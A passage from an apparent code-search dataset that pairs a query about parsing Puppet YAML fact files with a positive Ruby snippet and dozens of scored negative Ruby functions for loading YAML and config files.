"text": "def next_match str\n first = nil\n ## content can be string or Chunkline, so we had to write <tt>index</tt> for this.\n ## =~ does not give an error, but it does not work.\n @content.each_with_index do |line, ix|\n col = line.index str\n if col\n first ||= [ ix, col ]\n if ix > @current_index\n return [ix, col]\n end\n end\n end\n return first\n end",
"title": ""
},
{
"docid": "f85075e850d4b6be736ff0ebac9703e2",
"score": "0.46717554",
"text": "def winning_marker\n WINNING_COMBOS.each do |line|\n squares = @squares.values_at(*line)\n if three_identical_markers?(squares)\n return squares.first.marker\n end\n end\n nil\n end",
"title": ""
}
] |
1a3a7e779b0da943d61cf02b9630c367 | A typical Puppet YAML fact file looks like this: ``` !ruby/object:Puppet::Node::Facts name: your.fqdn.com values: key1: val1 key2: val2 ``` To avoid loading in all of Puppet just to parse what is basically a plain YAML file, this method strips off the first line and unindents all of the remaining lines to make it a plain YAML file, and then parses that. | [
{
"docid": "6c3ebc12dd624ca295b89b5e6f88908d",
"score": "0.70130235",
"text": "def modify_and_load_yamlfile(filepath)\n content = File.read(filepath).split(/[\\r\\n]+/)\n first_line = content.shift\n unless first_line == '--- !ruby/object:Puppet::Node::Facts'\n raise HieraSimulator::FactSourceError, \"#{filepath} was not in expected Puppet::Node::Facts format\"\n end\n content.unshift '---'\n fixed_yaml = content.map { |line| line.sub(/^ /, '') }\n data = YAML.load(fixed_yaml.join(\"\\n\"))\n raise HieraSimulator::FactLookupError, \"Invalid content in node fact file #{filepath}\" unless data.key?('values')\n result = {}\n data['values'].each { |k, v| result['::' + k] = v }\n result\n end",
"title": ""
}
] | [
{
"docid": "f0af9b160f55fdbc514fe95bf96892bb",
"score": "0.6397388",
"text": "def cli_helper_process_yaml(file_contents='')\n a_hash = YAML.load file_contents\n return a_hash\n end",
"title": ""
},
{
"docid": "7625cf1c887f87f30db4c1b13c61e7ed",
"score": "0.62240046",
"text": "def read_yaml\n self.content = File.read(self.file)\n\n begin\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = Redcarpet::Markdown.new(\n Redcarpet::Render::HTML,\n :autolink => true,\n :fenced_code_blocks => true\n ).render($POSTMATCH)\n self.data = YAML.load($1)\n end\n rescue => e\n puts \"YAML Exception reading #{self.file}: #{e.message}\"\n end\n\n self.data ||= {}\n end",
"title": ""
},
{
"docid": "8e52382ffc2bf77584277a5d09056271",
"score": "0.6191071",
"text": "def load_yaml_file\n unless File.exist?('first.yml')\n puts \"file does not exist\"\n end\n @data = YAML.load_file('first.yml')\n puts @data\n\n end",
"title": ""
},
{
"docid": "117c125e4b1cd25dabaeea3ba2554d01",
"score": "0.61282563",
"text": "def read_yaml; read.from_yaml; end",
"title": ""
},
{
"docid": "439bac2327879cfa46de9407c43cec30",
"score": "0.61028427",
"text": "def parse_yaml(file)\n file_content = File.exist?(file) ? ERB.new(File.read(file)).result : '---'\n\n config = YAML.load(file_content) || {}\n env = ENV['RAILS_ENV'] || ENV['RACK_ENV'] || ENV['APP_CONFIG_ENV']\n\n config_from config['default'], config[env]\n end",
"title": ""
},
{
"docid": "831bba093b913df339927e706f48a71d",
"score": "0.60790086",
"text": "def from_yaml(filename); end",
"title": ""
},
{
"docid": "1ce05bb619ba83cd57ef0a465daaa632",
"score": "0.60371846",
"text": "def parse_yaml(filename)\n @patches = YAML.load_file(filename)\n\n return if @patches.is_a?(Hash)\n\n raise OneCfg::Exception::FileParseError,\n 'The patch does not contain expected YAML document'\n end",
"title": ""
},
{
"docid": "37e22f127dca84cfc9c8bd778d79d4f4",
"score": "0.603682",
"text": "def read_yaml(base, name)\n begin\n content = File.read(File.join(base, name))\n\n if content =~ /\\A(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.data = YAML.safe_load($1)\n self.content = $' # everything after the last match\n end\n rescue => e\n puts \"Error reading file #{File.join(base, name)}: #{e.message}\"\n rescue SyntaxError => e\n puts \"YAML Exception reading #{File.join(base, name)}: #{e.message}\"\n end\n\n self.data ||= {}\n end",
"title": ""
},
{
"docid": "31e06bc41e379c77856e2de4b3fd63cb",
"score": "0.6029121",
"text": "def read_and_parse_file_data\n raw_data = File.read(@yaml_file_name)\n evaluated_data = ERB.new(raw_data).result\n data = YAML.load(evaluated_data)\n data = data[@environment] unless @environment.empty?\n\n if !data.is_a?(Hash) or !data.has_key?('features')\n raise ArgumentError, \"content of #{@yaml_file_name} does not contain proper config\"\n end\n\n if data['features']\n invalid_value = data['features'].values.detect { |value| ![true, false].include?(value) }\n if invalid_value\n raise ArgumentError, \"#{invalid_value} is not allowed value in config, use true/false\"\n end\n\n data['features']\n else\n {}\n end\n end",
"title": ""
},
{
"docid": "bba6ef74acfb9bf8219c159524a44099",
"score": "0.6022912",
"text": "def load_from(file)\n contents = File.read(file)\n\n # Body begins after a blank line\n meta, @body = contents.split(/(?:\\r?\\n){2,}/, 2)\n\n YAML.load(meta).each do |property, value|\n send property + '=', value\n end\n end",
"title": ""
},
{
"docid": "f2c3a900bad9bc380125d844ab93a2ea",
"score": "0.5969554",
"text": "def read_yaml(base, name)\n self.content = File.read(File.join(base, name))\n \n if self.content =~ /^(---\\s*\\n.*?)\\n---\\s*\\n/m\n self.content = self.content[($1.size + 5)..-1]\n \n self.data = YAML.load($1)\n end\n end",
"title": ""
},
{
"docid": "506cfdd70c6a585f07bcf124ee6ffdd2",
"score": "0.5961809",
"text": "def data\n YAML.load ERB.new(File.read File.expand_path yaml_path).result\n rescue StandardError, SyntaxError => e\n {}\n end",
"title": ""
},
{
"docid": "d362016603cc47758777851a538556a5",
"score": "0.59442663",
"text": "def yaml_result(file)\n parse = file.gsub(/^\\*.*$/,'').gsub(/^/,' ').gsub(/^\\s+/, ' ')\n yml = YAML.load(parse)\nend",
"title": ""
},
{
"docid": "d362016603cc47758777851a538556a5",
"score": "0.59442663",
"text": "def yaml_result(file)\n parse = file.gsub(/^\\*.*$/,'').gsub(/^/,' ').gsub(/^\\s+/, ' ')\n yml = YAML.load(parse)\nend",
"title": ""
},
{
"docid": "2094a45bd5bda64db09920ca2d9ad0e9",
"score": "0.5914402",
"text": "def prepare_from_file(yaml_file, locale_key = 'data_flow_schema')\n @raw_data = ERB.new(File.read(yaml_file)).result\n\n yaml = Configuration.parse_yaml(yaml_file)\n\n prepare_from_yaml(yaml, locale_key)\n end",
"title": ""
},
{
"docid": "5cb18b1279068d875e74b40372a3a3ec",
"score": "0.5914179",
"text": "def meta_yaml\n if !(!is_leaf? && !File.exist?(meta_file))\n passed = false\n out = \"\"\n File.open(filename).each_line do |line|\n passed = true if line == \"\\n\"\n break if passed\n out << line\n end\n YAML::load(out)\n else\n {:name => raw_name}\n end\n end",
"title": ""
},
{
"docid": "9b4a1e46bdc3f413966fa1c5221d62f4",
"score": "0.5874538",
"text": "def read_yaml(content)\n begin\n if content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n content = $POSTMATCH\n data = YAML.load($1)\n end\n rescue => e\n puts \"YAML Exception reading #{name}: #{e.message}\"\n end\n\n data ||= {}\n content ||= \"\"\n\n [content, data]\n end",
"title": ""
},
{
"docid": "1bea836bac515225b01eea0d33bdbd27",
"score": "0.5868272",
"text": "def read_yaml(base, name, opts = {})\n begin\n self.content = File.read(File.join(base, name),\n merged_file_read_opts(opts))\n if content =~ /\\A(---\\s*\\n.*?\\n?)^((---|\\.\\.\\.)\\s*$\\n?)/m\n self.content = $POSTMATCH\n self.data = SafeYAML.load($1)\n end\n rescue SyntaxError => e\n Jekyll.logger.warn \"YAML Exception reading #{File.join(base, name)}: #{e.message}\"\n rescue Exception => e\n Jekyll.logger.warn \"Error reading file #{File.join(base, name)}: #{e.message}\"\n end\n\n self.data ||= {}\n end",
"title": ""
},
{
"docid": "21b8a714dea743cab4a2ea5a86b3e43c",
"score": "0.58524173",
"text": "def read_yaml(file)\n data = nil\n \n begin\n content = File.read_with_options(file, {})\n if content =~ /\\A(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n data = YAML.safe_load($1)\n end\n rescue SyntaxError => e\n puts \"YAML Exception reading #{File.join(base, name)}: #{e.message}\"\n rescue Exception => e\n puts \"Error reading file #{File.join(base, name)}: #{e.message}\"\n end\n\n data ||= {}\n end",
"title": ""
},
{
"docid": "00055355e051d48e7b22f8c247ce6819",
"score": "0.5849579",
"text": "def read_yaml(base, name)\n self.content = File.read(File.join(base, name))\n \n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = self.content[($1.size + $2.size)..-1]\n \n self.data = YAML.load($1)\n end\n \n self.data ||= {}\n end",
"title": ""
},
{
"docid": "01c54d8fb1dcf49e8f96db66f59816a6",
"score": "0.58227926",
"text": "def slurp_file(f)\n f = File.expand_path(f)\n tmp = {}\n\n if File.exist?(f)\n File.open( f ) { |yf| \n tmp = YAML::load( yf ) \n }\n end\n tmp.symbolize_keys! unless tmp == false\n end",
"title": ""
},
{
"docid": "4433bacb69dae8a98a247da8fd861402",
"score": "0.58119065",
"text": "def data_from_yaml(file)\n file = File.expand_path(file)\n begin\n input_data = YAML.load_file(file) || {}\n rescue => e\n STDERR.puts \"There was an error loading data from #{file}.\"\n fail e.backtrace.join(\"\\n\")\n end\n input_data\nend",
"title": ""
},
{
"docid": "f12ecdfb7e036408aa12bf76e3c78a7c",
"score": "0.5799066",
"text": "def decode(value)\n # Check if a YAML front matter block is present\n yaml_regex = /\\A(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n if value =~ yaml_regex\n content = value.sub(yaml_regex, \"\")\n data = YAML.load($1)\n data[\"content\"] = content\n data\n else\n # Standard YAML file\n data = YAML.load(value)\n end\n rescue => e\n raise \"YAML Exception: #{ e.message }\"\n end",
"title": ""
},
{
"docid": "6005e3850a3bc03c47476d524566cbbd",
"score": "0.5792583",
"text": "def parse(content)\n YAML.load(content)\n rescue => e\n raise Inspec::Exceptions::ResourceFailed, \"Unable to parse YAML: #{e.message}\"\n end",
"title": ""
},
{
"docid": "64f2042977e9ebfb8561d5622c8679f8",
"score": "0.57764024",
"text": "def load_yaml(filename); end",
"title": ""
},
{
"docid": "b8ad1da09149987a4cc80031b40d602e",
"score": "0.576244",
"text": "def parse_rspec_puppet_yaml(yaml_file)\n test_data = __load_rspec_puppet_yaml_data(yaml_file)\n\n # The top-most entity must be a 'describe', which must have both name (which\n # must be identical to the entity-under-test) and type-of-entity (in case the\n # user failed to follow the prescribed directory structure for unit testing\n # Puppet modules). RSpec docs often show more than one top-level describe,\n # so this function supports the same.\n rspec_file = caller_locations.select {|e| e.path =~ /.+_spec.rb$/}\n .first\n .path\n default_describe = {\n 'name' => __get_eut_name(yaml_file, rspec_file),\n 'type' => guess_type_from_path(rspec_file)\n }\n describes = []\n RSpec::Puppet::Yaml::DataHelpers.get_array_of_named_hashes(\n 'describe',\n test_data,\n ).each { |desc| describes << default_describe.merge(desc)}\n __apply_rspec_puppet_describes(describes, test_data)\nend",
"title": ""
},
{
"docid": "a2acc9badb8675dfad558e55013b1562",
"score": "0.57485306",
"text": "def take_yaml(yml)\n @data = YAML.load(yml) # Use dot not ::\n end",
"title": ""
},
{
"docid": "8b8170a52fe4594ca3328aaf99c5682c",
"score": "0.5747196",
"text": "def read_file\n\n self.content = File.read(@filename)\n\n # Define a regular expression to find the YAML header Use the back \n # reference to load the metadata and the postmatch to load the \n # content.\n begin\n if /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m.match(self.content)\n self.metadata = YAML.load($1)\n self.content = $'\n end\n rescue => e\n puts \"YAML exception reading #{filename}: #{e.message}\"\n end\n\n end",
"title": ""
},
{
"docid": "56c6d7760afd7acbcdf42317b182da90",
"score": "0.57079124",
"text": "def load_raw_yaml(filepath)\n return nil unless filepath && File.readable?(filepath)\n YAML.load_file(filepath).each_with_object({}) do |(k, v), h|\n h[k.to_sym] = v\n end\n end",
"title": ""
},
{
"docid": "3de841859c333d2475e79d7489bdd221",
"score": "0.57003397",
"text": "def load_yaml(file)\n # TBD\n end",
"title": ""
},
{
"docid": "07e5e9f6671a0f08871ea28f45c7eab2",
"score": "0.5676146",
"text": "def parse_yaml(body)\n parse_begin_timing = Time.now # Metrics gathering\n require \"safe_yaml\"\n output = ['---'] # Building up an array of what we need now.\n metric_block = false\n body.each_line do |line|\n if metric_block\n if line.start_with?(' ')\n output << line\n next\n else\n metric_block = false\n end\n end\n if line.start_with?(' metrics:')\n output << line\n metric_block = true\n next\n end\n if line.start_with?(' host: ') or line.start_with?(' time: ') or line.start_with?(' status: ')\n output << line\n end\n end\n parsed = YAML.load(output.join(\"\\n\"), :safe => :true, :deserialize_inputs => true)\n @parse_timing = Time.now - parse_begin_timing # Metrics gathering\n return parsed\n end",
"title": ""
},
{
"docid": "3827d53cda34063898864b22bca83118",
"score": "0.5675503",
"text": "def load_raw_yaml(filepath)\n return nil unless filepath && ::File.readable?(filepath)\n YAML.load_file(filepath).each_with_object({}) do |(k, v), h|\n h[k.to_sym] = v\n end\n end",
"title": ""
},
{
"docid": "3365a93108e024848642a57f33f5cca0",
"score": "0.5642802",
"text": "def read file_path\n self.content = File.read(file_path)\n\n begin\n if self.content =~ /^(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m\n self.content = $POSTMATCH\n\n self.data = YAML.load($1)\n end\n rescue ArgumentError\n STDERR.puts \"The contents of post #{file_path} are causing some problems. Most likely it has characters that are invalid UTF-8. Please correct this and try again.\"\n rescue Psych::SyntaxError\n puts \"YML Exception reading #{file_path}\"\n rescue => e\n puts \"YAML Exception reading #{file_path}: #{e.message}\"\n end\n end",
"title": ""
},
{
"docid": "1ab6fa8755fd2d38955e61323b981618",
"score": "0.5625901",
"text": "def node_facts_from_yaml_facts(certname)\n yaml_file = \"/opt/puppetlabs/server/data/puppetserver/yaml/facts/#{certname}.yaml\"\n return unless File.file?(yaml_file)\n yaml_facts = YAML.load_file(yaml_file)\n yaml_facts.values\n end",
"title": ""
},
{
"docid": "f0d871e086c6818d6e9b34fc51e00038",
"score": "0.5622594",
"text": "def load_yaml\n @data = YAML.load_file(@file)\n end",
"title": ""
},
{
"docid": "a07569e334247423702668712ed45a08",
"score": "0.5622447",
"text": "def from_yaml( yaml )\n hash = YAML.load( ERB.new( yaml ).result )\n\n from_hash( hash )\n end",
"title": ""
},
{
"docid": "a95cff293da9a25f706dcdfaaaa580f5",
"score": "0.5619177",
"text": "def read_metadata_yaml_file\n begin\n data = yaml_load_file metadata_yaml_file\n return unless data.is_a? Hash\n data\n rescue => exception\n debug \"Error parsing metadata file: '#{metadata_yaml_file}': #{exception.message}\"\n nil\n end\n end",
"title": ""
},
{
"docid": "280a097b9c071e63dba49a5a63797c29",
"score": "0.5618864",
"text": "def load_cfg(file)\n @cfg = Psych.load_file(file) # Loads the YAML into a string stored in cfg\n @cfg = Psych.load(@cfg) # Psych parses the string into an object that I can assign to the current object\n @description = @cfg.description.chomp\n @variables = @cfg.variables\n @sigma = @cfg.sigma\n @relations = @cfg.relations\n @start_variable = @cfg.start_variable.chomp\n end",
"title": ""
},
{
"docid": "13f755fa7a956fecf9c52e43a7a91813",
"score": "0.5612672",
"text": "def take_yaml(yaml)\n @data = YAML.load(yaml)\n end",
"title": ""
},
{
"docid": "3bd17f28c3c3f9ae6012013cf79273ad",
"score": "0.55998653",
"text": "def fully_interpolated_yaml\n return @fully_interpolated_yaml if @fully_interpolated_yaml\n @fully_interpolated_yaml = ::YAML.safe_load(\n replace_dollar_dollars(\n interpolate(\n interpolate_liquid(\n raw_content,\n variable_values\n ),\n use_opto: true,\n raise_on_unknown: true\n )\n ), [], [], true, file\n )\n rescue Psych::SyntaxError => ex\n raise ex, \"Error while parsing #{file} : #{ex.message}\"\n end",
"title": ""
},
{
"docid": "f3d7ced4aea9c5368c05fa7fa7f1a08e",
"score": "0.5599791",
"text": "def meta_data\n return if meta_end.nil?\n\n @io.seek 0\n buffer = @io.gets\n while (line = @io.gets) !~ META_SEP\n buffer << line\n end\n\n yaml_load_erb(buffer)\n end",
"title": ""
},
{
"docid": "f5ae4acd28eb90c56e6e8a7821ac8ea7",
"score": "0.55947316",
"text": "def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"title": ""
},
{
"docid": "f5ae4acd28eb90c56e6e8a7821ac8ea7",
"score": "0.55947316",
"text": "def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"title": ""
},
{
"docid": "f5ae4acd28eb90c56e6e8a7821ac8ea7",
"score": "0.55947316",
"text": "def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"title": ""
},
{
"docid": "f5ae4acd28eb90c56e6e8a7821ac8ea7",
"score": "0.55947316",
"text": "def take_yaml(yml)\n @data = YAML.load(yml)\n end",
"title": ""
},
{
"docid": "5df32202161416cb805b45e6a2c00e87",
"score": "0.55882233",
"text": "def parse_yaml\n lambda do |_row, accumulator|\n return [] if accumulator.empty?\n return accumulator unless accumulator.first.match?(/[\\[\\]]/)\n\n values = YAML.safe_load(accumulator.first)\n accumulator.replace(values)\n end\n end",
"title": ""
},
{
"docid": "e7d210330ca4808295b83b7992d62241",
"score": "0.5582365",
"text": "def take_yaml(yml)\n @data = YAML.load(yml) \n end",
"title": ""
},
{
"docid": "a789a43e6cda9f58a5142ddf6108471d",
"score": "0.557972",
"text": "def load_yaml(file = nil)\n # Example of how to read a file concatenating folders\n # YAML::load(File.new(File.join(File.dirname(__FILE__), file)))\n @yaml_values = YAML::load(File.new(file))\n end",
"title": ""
},
{
"docid": "95200615121b20918db99666ae822d5d",
"score": "0.55744046",
"text": "def readFile( file )\n\t\t\tcontent = File.read( file )\n\t\t\tcontent = YAML.load( content )\n\t\t\tcontent\n\t\tend",
"title": ""
},
{
"docid": "5065455d4ba78d997cd447db0668d339",
"score": "0.55575734",
"text": "def load_file path\n YAML.load open(path).read.gsub(/\\t/, ' ')\n rescue Psych::SyntaxError => e\n print path, ':', e.message.split(':').last, \"\\n\"\n exit 1\n end",
"title": ""
},
{
"docid": "907f9cfb6aa1b49f7ac1ae6a6de0f863",
"score": "0.55569106",
"text": "def fill_from_yaml_file(path)\n fill_from_hash read_from_yaml(path)\n end",
"title": ""
},
{
"docid": "08c1e64e865efdc537ba15580a5e3d0b",
"score": "0.5553439",
"text": "def parse_config_file\n # XXX: We should handle errors\n YAML.load_file(config_file).with_indifferent_access\n end",
"title": ""
},
{
"docid": "281eef081a6bb9b0e4049479c99624b1",
"score": "0.5547219",
"text": "def parse_yaml(content)\n YAML.safe_load(content, permitted_classes: [Time, Date, DateTime]) rescue nil\n end",
"title": ""
},
{
"docid": "6c4894b16f41a142153c07e71f9fbc53",
"score": "0.55444384",
"text": "def take_yaml(yaml)\n \t@data = YAML.load(yaml)\n end",
"title": ""
},
{
"docid": "0604ebf6a6e6c59ac7d40b76ea5686b1",
"score": "0.5542014",
"text": "def facts(node)\n filepath = File.join(@fact_dir, node + '.yaml')\n return HieraSimulator::FactSource::Util.modify_and_load_yamlfile(filepath) if File.readable?(filepath)\n raise HieraSimulator::FactLookupError, \"Fact retriever could not find or access #{filepath}\"\n end",
"title": ""
},
{
"docid": "26b7d9e8a2eca73e040c662454aa3ebf",
"score": "0.55349016",
"text": "def parse_file\n YAML.load_file(config_file).tap do |creds|\n if !creds.is_a?(Hash)\n raise NoCredsFound, bad_config_file(\"#{config_file} is not valid YAML.\")\n elsif contains_deprecated_keys(creds)\n raise EmailPasswordDeprecated.new(\n bad_config_file(\n 'Email and password login is deprecated.'\\\n ' Use access_id and access_key instead.'\n )\n )\n end\n end\n end",
"title": ""
},
{
"docid": "624ae02285ae539703265c9c9031ca39",
"score": "0.55314964",
"text": "def parse_config\n YAML.load_file( config_file )\n end",
"title": ""
},
{
"docid": "cbac309bf8cb0ed6e06103667c1eba89",
"score": "0.5519571",
"text": "def load_yaml(file)\n YAML.safe_load(client_api.file_content(file)).with_indifferent_access\n rescue StandardError => e\n feedback(\n path: file.filename,\n annotation_level: 'failure',\n message: 'Malformed yaml content'\\\n \"exception: #{e.message}\"\n )\n\n {}\n end",
"title": ""
},
{
"docid": "28661c2a4aacccf939e4c5b9c99fda24",
"score": "0.5516319",
"text": "def facts(node)\n filepath = File.join(@fact_dir, node + '.yaml')\n return modify_and_load_yamlfile(filepath) if File.readable?(filepath)\n raise HieraSimulator::FactLookupError, \"Fact retriever could not find or access #{filepath}\"\n end",
"title": ""
},
{
"docid": "0227ccfad1fedabef51f062f7fd82979",
"score": "0.54987156",
"text": "def take_yaml(yml)\n @data = YAML::load(yml)\n @data\n\n end",
"title": ""
},
{
"docid": "a49841a283a49462b68fa253b92b3ac1",
"score": "0.5498587",
"text": "def parse_config_file(yaml_path)\n YAML.safe_load(yaml_path, symbolize_names: true)\n end",
"title": ""
},
{
"docid": "29db21d312e294e7951102f21b29a2f9",
"score": "0.5473986",
"text": "def load_yaml(yaml_file)\n fail \"File #{yaml_file} doesn't exist.\" unless File.exist?(yaml_file)\n # Parse YAML file into a tree of nodes\n # Psych::SyntaxError doesn't inherit from StandardError in some versions,\n # so we want to explicitly catch it if using Psych.\n rescue_errors = [::StandardError, ::Psych::SyntaxError]\n yaml_parsed = File.open(yaml_file, 'r') do |f|\n begin\n YAML.parse(f)\n rescue *rescue_errors => e\n raise \"unable to parse #{yaml_file}: #{e}\"\n end\n end\n return {} unless yaml_parsed\n # Validate the node tree\n validate_yaml(yaml_parsed, yaml_file)\n # If validation passed, convert the node tree to a Ruby Hash.\n yaml_parsed.transform\n end",
"title": ""
},
{
"docid": "a48484f603ee3266cfa3088aa8e69885",
"score": "0.5451221",
"text": "def strip_yaml(content)\n if content =~ /\\A-{3}(.+[^\\A])-{3}\\n(.+)/m\n $2.strip\n end\n content\n end",
"title": ""
},
{
"docid": "2782b47d85d87ada4cff507a892dab7d",
"score": "0.5450194",
"text": "def yaml\n File.read(@name)\n end",
"title": ""
},
{
"docid": "7ab4179477e1e9625f9be0d81b5cba55",
"score": "0.54390794",
"text": "def parse(path)\n running_line = nil\n file = File.readlines(path).map do |line|\n line = line.gsub(/\\s*#.*$/, '')\n line = line.strip\n next if line.empty?\n\n value = line.gsub(/\\\\$/, '')\n if running_line\n running_line << \" \" << value\n end\n\n if line =~ /\\\\$/\n running_line ||= value\n elsif running_line\n running_line = nil\n else\n value\n end\n end.compact\n\n raw_variables, raw_fields = Hash.new, Hash.new\n file.each do |line|\n case line\n when /^(#{VAR_NAME_RX})\\s*=(.*)/\n raw_variables[$1] = $2.strip\n when /^(#{FIELD_NAME_RX}):\\s*(.*)/\n field_name = normalize_field_name($1)\n raw_fields[field_name] = $2.strip\n else\n raise NotImplementedError, \"#{path}: cannot parse pkg-config line #{line.inspect}\"\n end\n end\n return raw_variables, raw_fields\n end",
"title": ""
},
{
"docid": "282af0de9ce43953de29df4a9aaa3c53",
"score": "0.5438284",
"text": "def load_yaml_file (file) #:nodoc:\n if file.exist? and (file.directory? or [\".yaml\", \".yml\"].include?(file.extname.downcase))\n if file.directory?\n vals = {}\n file.children.each do |child|\n key = child.basename.to_s.sub(/\\.y(a?)ml$/i, '')\n vals[key] = load_yaml_file(child)\n end\n return vals\n else\n yaml = file.read\n if yaml.nil? or yaml.gsub(/\\s/, '').size == 0\n return {}\n else\n return YAML.load(ERB.new(yaml).result) || {}\n end\n end\n else\n return {}\n end\n end",
"title": ""
},
{
"docid": "58b80dc76924006965cb397e4d221749",
"score": "0.5431507",
"text": "def load\n contents = File.read File.join(full_source_path)\n if contents =~ /^(---\\s*\\n.*?)\\n---\\s*\\n/m\n @source_content, @source_metadata = contents[($1.size + 5) .. -1], YAML.load($1)\n else\n @source_content, @source_metadata = contents, {}\n end\n @source_metadata.symbolize_keys\n end",
"title": ""
},
{
"docid": "de8d0bae4d7c9f62e7bc737734116131",
"score": "0.5428034",
"text": "def valtest_file_read(file, label)\n print \"Reading #{label}: #{file}\\n\"\n assert(schema = File.open(file) { |infile| YAML::load(infile) },\n \"Error Reading from #{label} File: #{file}\")\n schema\n end",
"title": ""
},
{
"docid": "d7f181db0978bb6c9bb59d8d779878b3",
"score": "0.54253376",
"text": "def read_yaml file_name\r\n\treverse_yaml = YAML::load File.read file_name\r\n\tfor i in 0...reverse_yaml.length\r\n\t\treturn reverse_yaml unless reverse_yaml[i].kind_of?(String)\r\n\tend\r\n\treturn reverse_yaml.join(\"\")\r\nend",
"title": ""
},
{
"docid": "dad8443ec8291d151e8fedad8bb628e9",
"score": "0.54141873",
"text": "def yaml_entries\n yaml_entries = YAML.load(automatic_filename.read)\n if future_filename.exist?\n yaml_entries += YAML.load(future_filename.read)\n end\n yaml_entries\n end",
"title": ""
},
{
"docid": "40d17a85a24802fd5b21812b8e7928a9",
"score": "0.5409465",
"text": "def parse_yaml_value val\n if val.empty?\n ''\n else\n begin\n ::SafeYAML.load %(--- #{val})\n rescue\n val = val.gsub '\\'', '\\'\\'' if val.include? '\\''\n ::SafeYAML.load %(--- \\'#{val}\\')\n end\n end\n end",
"title": ""
},
{
"docid": "fb53fa7c2b91c78db97135cfc1d7e6fe",
"score": "0.54077023",
"text": "def load_yaml(file)\n YAML.load File.open(file)\n end",
"title": ""
},
{
"docid": "c63a115fd954492140aee10720982b12",
"score": "0.54001737",
"text": "def parse_yaml_value val\n if val.empty?\n val\n else\n begin\n ::YAML.load %(--- #{val})\n rescue ::StandardError, ::SyntaxError\n val = val.gsub '\\'', '\\'\\'' if val.include? '\\''\n ::YAML.load %(--- \\'#{val}\\')\n end\n end\n end",
"title": ""
},
{
"docid": "fb9aeb6edd5ff20604bc09964438682e",
"score": "0.53945076",
"text": "def loadYaml(path); f = open(path, 'r'); x = YAML::load(f); f.close; x end",
"title": ""
},
{
"docid": "77d8f380615cd3eea8fc731dcd3a76ce",
"score": "0.53889495",
"text": "def parse_file(file)\n text = read_file(file)\n\n result = Hash.new { |names, name|\n names[name] = {}\n }\n\n count = 0\n\n # Default to 'main' for the section.\n section = :main\n result[section][:_meta] = {}\n text.split(/\\n/).each { |line|\n count += 1\n case line\n when /^\\s*\\[(\\w+)\\]\\s*$/\n section = $1.intern # Section names\n # Add a meta section\n result[section][:_meta] ||= {}\n when /^\\s*#/; next # Skip comments\n when /^\\s*$/; next # Skip blanks\n when /^\\s*(\\w+)\\s*=\\s*(.*?)\\s*$/ # settings\n var = $1.intern\n\n # We don't want to munge modes, because they're specified in octal, so we'll\n # just leave them as a String, since Puppet handles that case correctly.\n if var == :mode\n value = $2\n else\n value = munge_value($2)\n end\n\n # Check to see if this is a file argument and it has extra options\n begin\n if value.is_a?(String) and options = extract_fileinfo(value)\n value = options[:value]\n options.delete(:value)\n result[section][:_meta][var] = options\n end\n result[section][var] = value\n rescue Puppet::Error => detail\n detail.file = file\n detail.line = line\n raise\n end\n else\n error = Puppet::Error.new(\"Could not match line #{line}\")\n error.file = file\n error.line = line\n raise error\n end\n }\n\n result\n end",
"title": ""
},
{
"docid": "e65f83334b0b8a015991463d44a2b32e",
"score": "0.53879637",
"text": "def parse_yaml_value val\n if val.empty?\n ''\n else\n begin\n ::SafeYAML.load %(--- #{val})\n rescue ::StandardError, ::SyntaxError\n val = val.gsub '\\'', '\\'\\'' if val.include? '\\''\n ::SafeYAML.load %(--- \\'#{val}\\')\n end\n end\n end",
"title": ""
},
{
"docid": "20c777d732a448f5231a212cdd75e128",
"score": "0.53858984",
"text": "def parse_from_file(config_file)\n if !File.readable?(config_file)\n raise Errno::EACCES, \"#{config_file} is not readable\"\n end\n\n open(config_file).each { |line|\n line.strip!\n unless (/^\\#/.match(line))\n set_var_from(line) if (/\\s*=\\s*/.match(line))\n end\n }\n end",
"title": ""
},
{
"docid": "b5ec14dd0b161938fc6c9981ed1357fe",
"score": "0.5384152",
"text": "def read_yaml(*)\n # Do nothing\n end",
"title": ""
},
{
"docid": "096a69d3cf7c314255e95a6ffe802e75",
"score": "0.538306",
"text": "def parse_yaml_value val\n if val.empty?\n ''\n else\n begin\n ::YAML.load %(--- #{val})\n rescue ::StandardError, ::SyntaxError => e\n val = val.gsub '\\'', '\\'\\'' if val.include? '\\''\n ::YAML.load %(--- \\'#{val}\\')\n end\n end\n end",
"title": ""
},
{
"docid": "c1574234cf57debbcc3eeb7dfea0c05f",
"score": "0.5380246",
"text": "def read_yaml_file(file_path)\n rows = YAML.load(render(IO.read(file_path))).values\n header = rows.first.keys\n rows = rows.map {|row| row.values_at(*header) }\n rows.unshift(header)\nend",
"title": ""
},
{
"docid": "310eff1c627d6125433618d31e4e9547",
"score": "0.5378046",
"text": "def parse(src)\n if src =~ /\\A---(.*?)---(.*)/m\n self.head = YAML.load($1)\n self.body = $2\n else\n raise ArgumentError, \"yaml header not found in source\"\n end\n end",
"title": ""
},
{
"docid": "c3ad94e7ae5bb6587c194585434d1fc5",
"score": "0.5377455",
"text": "def recall\n YAML.load_file(yaml_path)\n end",
"title": ""
},
{
"docid": "cee88d82d67c6a0568bd5f893087867b",
"score": "0.5366319",
"text": "def YamlImport(yaml_file)\n parsed = begin\n YAML.load(File.open(yaml_file))\n rescue ArgumentError => e\n puts \"Could not parse YAML: #{e.message}\"\n end\nend",
"title": ""
},
{
"docid": "cee88d82d67c6a0568bd5f893087867b",
"score": "0.5366319",
"text": "def YamlImport(yaml_file)\n parsed = begin\n YAML.load(File.open(yaml_file))\n rescue ArgumentError => e\n puts \"Could not parse YAML: #{e.message}\"\n end\nend",
"title": ""
},
{
"docid": "312eb9962a861e896cdc5870ceede9ca",
"score": "0.53647023",
